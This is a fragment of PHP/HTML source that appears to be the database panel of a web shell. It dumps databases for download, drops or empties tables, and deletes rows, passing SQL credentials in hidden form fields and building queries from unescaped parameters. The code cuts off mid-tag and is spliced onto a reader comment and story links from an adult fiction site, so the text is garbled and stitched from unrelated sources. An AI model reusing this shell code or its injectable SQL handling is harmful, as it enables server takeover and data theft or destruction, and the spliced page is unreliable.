?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newtbl"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newtbl" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>Dump DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="dump"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>">&nbsp;<input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php

if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";}

if ($sql_act == "newtbl")

{

echo "<b>";

if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";

}

else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}

}

elseif ($sql_act == "dump")

{

if (empty($submit))

{

$diplay = FALSE;

echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>";

echo "<b>DB:</b>&nbsp;<input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>";

$v = join (";",$dmptbls);

echo "<b>Only tables (explode \";\")&nbsp;<b><sup>1</sup></b>:</b>&nbsp;<input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>";

if ($dump_file) {$tmp = $dump_file;}

else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");}

echo "<b>File:</b>&nbsp;<input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>";

echo "<b>Download: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>";

echo "<b>Save to file: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>";

echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty";

echo "</form>";

}

else

{

$diplay = TRUE;

$set = array();

$set["sock"] = $sql_sock;

$set["db"] = $sql_db;

$dump_out = "download";

$set["print"] = 0;

$set["nl2br"] = 0;

$set[""] = 0;

$set["file"] = $dump_file;

$set["add_drop"] = TRUE;

$set["onlytabs"] = array();

if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);}

$ret = mysql_dump($set);

if ($sql_dump_download)

{

@ob_clean();

header("Content-type: application/octet-stream");

header("Content-length: ".strlen($ret));

header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";");

echo $ret;

exit;

}

elseif ($sql_dump_savetofile)

{

$fp = fopen($sql_dump_file,"w");

if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";}

else

{

fwrite($fp,$ret);

fclose($fp);

echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>.";

}

}

else {echo "<b>Dump: nothing to do!</b>";}

}

}

if ($diplay)

{

if (!empty($sql_tbl))

{

if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";}

$count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");

$count_row = mysql_fetch_array($count);

mysql_free_result($count);

$tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;");

$tbl_struct_fields = array();

while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}

if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;}

if (empty($sql_tbl_page)) {$sql_tbl_page = 0;}

if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;}

if (empty($sql_tbl_le)) {$sql_tbl_le = 30;}

$perpage = $sql_tbl_le - $sql_tbl_ls;

if (!is_numeric($perpage)) {$perpage = 10;}

$numpages = $count_row[0]/$perpage;

$e = explode(" ",$sql_order);

if (count($e) == 2)

{

if ($e[0] == "d") {$asc_desc = "DESC";}

else {$asc_desc = "ASC";}

$v = "ORDER BY `".$e[1]."` ".$asc_desc." ";

}

else {$v = "";}

$query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage."";

$result = mysql_query($query) or print(mysql_smarterror());

echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>";

echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[&nbsp;<b>Structure</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";

echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[&nbsp;<b>Browse</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";

echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">[&nbsp;<b>Dump</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";

echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[&nbsp;<b>Insert</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";

if ($sql_tbl_act == "structure") {echo "<br><br><b>Coming sooon!</b>";}

if ($sql_tbl_act == "insert")

{

if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}

if (!empty($sql_tbl_insert_radio))

{

}

else

{

echo "<br><br><b>Inserting row into table:</b><br>";

if (!empty($sql_tbl_insert_q))

{

$sql_query = "SELECT * FROM `".$sql_tbl."`";

$sql_query .= " WHERE".$sql_tbl_insert_q;

$sql_query .= " LIMIT 1;";

$result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror());

$values = mysql_fetch_assoc($result);

mysql_free_result($result);

}

else {$values = array();}

echo "<form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>";

foreach ($tbl_struct_fields as $field)

{

$name = $field["Field"];

if (empty($sql_tbl_insert_q)) {$v = "";}

echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>";

$i++;

}

echo "</table><br>";

echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>";

if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";}

echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>";

}

}

if ($sql_tbl_act == "browse")

{

$sql_tbl_ls = abs($sql_tbl_ls);

$sql_tbl_le = abs($sql_tbl_le);

echo "<hr size=\"1\" noshade>";

echo "<img src=\"".$surl."act=img&img=multipage\" height=\"12\" width=\"10\" alt=\"Pages\">&nbsp;";

$b = 0;

for($i=0;$i<$numpages;$i++)

{

if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";}

echo $i;

if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";}

if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";}

else {echo "&nbsp;";}

}

if ($i == 0) {echo "empty";}

echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\">&nbsp;<input type=\"submit\" value=\"View\"></form>";

echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1>";

echo "<tr>";

echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>";

for ($i=0;$i<mysql_num_fields($result);$i++)

{

$v = mysql_field_name($result,$i);

if ($e[0] == "a") {$s = "d"; $m = "asc";}

else {$s = "a"; $m = "desc";}

echo "<td>";

if (empty($e[0])) {$e[0] = "a";}

if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";}

else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"><img src=\"".$surl."act=img&img=sort_".$m."\" height=\"9\" width=\"14\" alt=\"".$m."\"></a>";}

echo "</td>";

}

echo "<td><font color=\"green\"><b>Action</b></font></td>";

echo "</tr>";

while ($row = mysql_fetch_array($result, MYSQL_ASSOC))

{

echo "<tr>";

$w = "";

$i = 0;

foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;}

if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);}

echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>";

$i = 0;

foreach ($row as $k=>$v)

{

$v = htmlspecialchars($v);

if ($v == "") {$v = "<font color=\"green\">NULL</font>";}

echo "<td>".$v."</td>";

$i++;

}

echo "<td>";

echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Delete\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;";

echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><img src=\"".$surl."act=img&img=change\" alt=\"Edit\" height=\"14\" width=\"14\" border=\"0\"></a>&nbsp;";

echo "</td>";

echo "</tr>";

}

mysql_free_result($result);

echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">";

echo "<option value=\"\">With selected:</option>";

echo "<option value=\"deleterow\">Delete</option>";

echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>";

}

}

else

{

$result = mysql_query("SHOW TABLE STATUS", $sql_sock);

if (!$result) {echo mysql_smarterror();}

else

{

echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>";

$i = 0;

$tsize = $trows = 0;

while ($row = mysql_fetch_array($result, MYSQL_ASSOC))

{

$tsize += $row["Data_length"];

$trows += $row["Rows"];

$size = view_size($row["Data_length"]);

echo "<tr>";

echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>";

echo "<td>&nbsp;<a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a>&nbsp;</td>";

echo "<td>".$row["Rows"]."</td>";

echo "<td>".$row["Type"]."</td>";

echo "<td>".$row["Create_time"]."</td>";

echo "<td>".$row["Update_time"]."</td>";

echo "<td>".$size."</td>";

echo "<td>&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_empty\" alt=\"Empty\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Drop\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row["Name"]."\"><img src=\"".$surl."act=img&img=sql_button_insert\" alt=\"Insert\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;</td>";

echo "</tr>";

$i++;

}

echo "<tr bgcolor=\"000000\">";

echo "<td><center><b>»</b></center></td>";

echo "<td><center><b>".$i." table(s)</b></center></td>";

echo "<td><b>".$trows."</b></td>";

echo "<td>".$row[1]."</td>";

echo "<td>".$row[10]."</td>";

echo "<td>".$row[11]."</td>";

echo "<td><b>".view_size($tsize)."</b></td>";

echo "<td></td>";

echo "</tr>";

echo "</table><hr size=\"1\" noshade><p align=\"right\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">";

echo "<option value=\"\">With selected:</option>";

echo "<option value=\"tbldrop\">Drop</option>";

echo "<option value=\"tblempty\">Empty</option>";

echo "<option value=\"tbldump\">Dump</option>";

echo "<option value=\"tblcheck\">Check table</option>";

echo "<option value=\"tbloptimize\">Optimize table</option>";

echo "<option value=\"tblrepair\">Repair table</option>";

echo "<option value=\"tblanalyze\">Analyze table</option>";

echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>";

mysql_free_result($result);

}

}

}

}

}

else

{

$acts = array("","newdb","serverstatus","servervars","processes","getfile");

if (in_array($sql_act,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" n

AnonymousAnonymousabout 15 years ago
Enthralled

I would like to see you continue this story. I like the dom character and would read many chapters.

Show More
Share this Story

Similar Stories

You Want Me To Do What? Husband wants reluctant wife to try swinging.in Loving Wives
Dave and Linda's Different Views Dave and Linda go further but see things differently.in Loving Wives
Massage for Traveling Wife Wife opens hotel door and finds a surprise from her husband.in Loving Wives
The Night I Shared My Wife With friend after one year isolated duty.in Loving Wives
The Birthday Present A husband arranges the ultimate birthday gift for his wife.in Loving Wives
More Stories